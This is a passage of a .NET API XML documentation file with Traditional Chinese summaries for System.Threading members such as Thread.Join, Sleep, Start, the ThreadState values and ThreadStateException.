<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>封鎖呼叫執行緒直到執行緒終止或已超過指定的時間為止,但仍繼續執行標準的 COM 與 SendMessage 幫浦作業。</summary>
<returns>如果執行緒已經終止,為 true如果 false 參數指定的時間量已經過去,而執行緒還沒有終止,則為 <paramref name="millisecondsTimeout" /></returns>
<param name="millisecondsTimeout">等候執行緒終止的毫秒數。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>取得目前 Managed 執行緒的唯一識別項。</summary>
<returns>整數,表示這個 Managed 執行緒的唯一識別項。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>取得或設定執行緒的名稱。</summary>
<returns>含有執行緒名稱的字串;如果沒有設定名稱,則為 null。</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>在指定的毫秒數內暫止目前的執行緒。</summary>
<param name="millisecondsTimeout">暫止執行緒的毫秒數。如果 <paramref name="millisecondsTimeout" /> 引數的值為零,則執行緒會將其剩餘的時間配量讓與準備好要執行的任何同等優先權執行緒。如果沒有其他準備好要執行的同等優先權執行緒,則目前執行緒的執行不會暫停。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>在指定長度的時間內暫止目前的執行緒。</summary>
<param name="timeout">暫止執行緒的時間長度。如果 <paramref name="millisecondsTimeout" /> 引數的值為 <see cref="F:System.TimeSpan.Zero" />,則執行緒會將其剩餘的時間配量讓與準備好要執行的任何同等優先權執行緒。如果沒有其他準備好要執行的同等優先權執行緒,則目前執行緒的執行不會暫停。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>造成作業系統將目前執行個體的狀態變更為 <see cref="F:System.Threading.ThreadState.Running" /></summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>使作業系統將目前執行個體的狀態改成 <see cref="F:System.Threading.ThreadState.Running" />,並選擇性地提供物件,在物件中包含執行緒執行之方法所要使用的資料。</summary>
<param name="parameter">物件,包含執行緒執行之方法所要使用的資料。</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>取得數值,包含目前執行緒的狀態。</summary>
<returns>其中一個 <see cref="T:System.Threading.ThreadState" /> 數值,指出目前執行緒的狀態。初始值為 Unstarted。</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>表示在 <see cref="T:System.Threading.Thread" /> 上執行的方法。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>當基礎作業系統執行緒已經啟動,但此執行緒還沒準備好執行使用者程式碼之前,如果 Managed 執行緒內有任何錯誤發生,就會擲回這個例外狀況。</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>指定 <see cref="T:System.Threading.Thread" /> 的執行狀態。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>執行緒狀態包括 <see cref="F:System.Threading.ThreadState.AbortRequested" />,且執行緒目前無作用,但其狀態尚未變更為 <see cref="F:System.Threading.ThreadState.Stopped" /></summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>
<see cref="M:System.Threading.Thread.Abort(System.Object)" /> 方法已在執行緒上被叫用 (Invoke),但執行緒還沒有收到會嘗試終結它的暫止 <see cref="T:System.Threading.ThreadAbortException" /></summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>執行緒正做為背景執行緒執行當中 (相對於前景執行緒)。這個狀態以設定 <see cref="P:System.Threading.Thread.IsBackground" /> 屬性來控制。</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>執行緒已經啟動,並未受封鎖,也沒有暫止的 <see cref="T:System.Threading.ThreadAbortException" /></summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>執行緒已經停止。</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>執行緒正被要求停止中。僅供內部使用。</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>執行緒已經暫止。</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>執行緒正被要求暫止中。</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>
<see cref="M:System.Threading.Thread.Start" /> 方法還沒有在執行緒上被叫用。</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>執行緒已封鎖。這可能是呼叫 <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /><see cref="M:System.Threading.Thread.Join" />、要求鎖定 (例如藉由呼叫 <see cref="M:System.Threading.Monitor.Enter(System.Object)" /><see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />),或是在執行緒同步處理物件 (例如 <see cref="T:System.Threading.ManualResetEvent" />) 上等候的結果。</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary><see cref="T:System.Threading.Thread" /> 對於方法的呼叫來說處於無效 <see cref="P:System.Threading.Thread.ThreadState" /> 時所擲回的例外狀況。</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>使用預設屬性來初始化 <see cref="T:System.Threading.ThreadStateException" /> 類別的新執行個體。</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>使用指定的錯誤訊息,初始化 <see cref="T:System.Threading.ThreadStateException" /> 類別的新執行個體。</summary>
<param name="message">解釋例外狀況原因的錯誤訊息。</param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考,初始化 <see cref="T:System.Threading.ThreadStateException" /> 類別的新執行個體。</summary>
<param name="message">解釋例外狀況原因的錯誤訊息。</param>
<param name="innerException">導致目前例外狀況的例外。如果 <paramref name="innerException" /> 參數不是 null則目前的例外狀況會在處理內部例外的 catch 區塊中引發。</param>
</member>
</members>
</doc>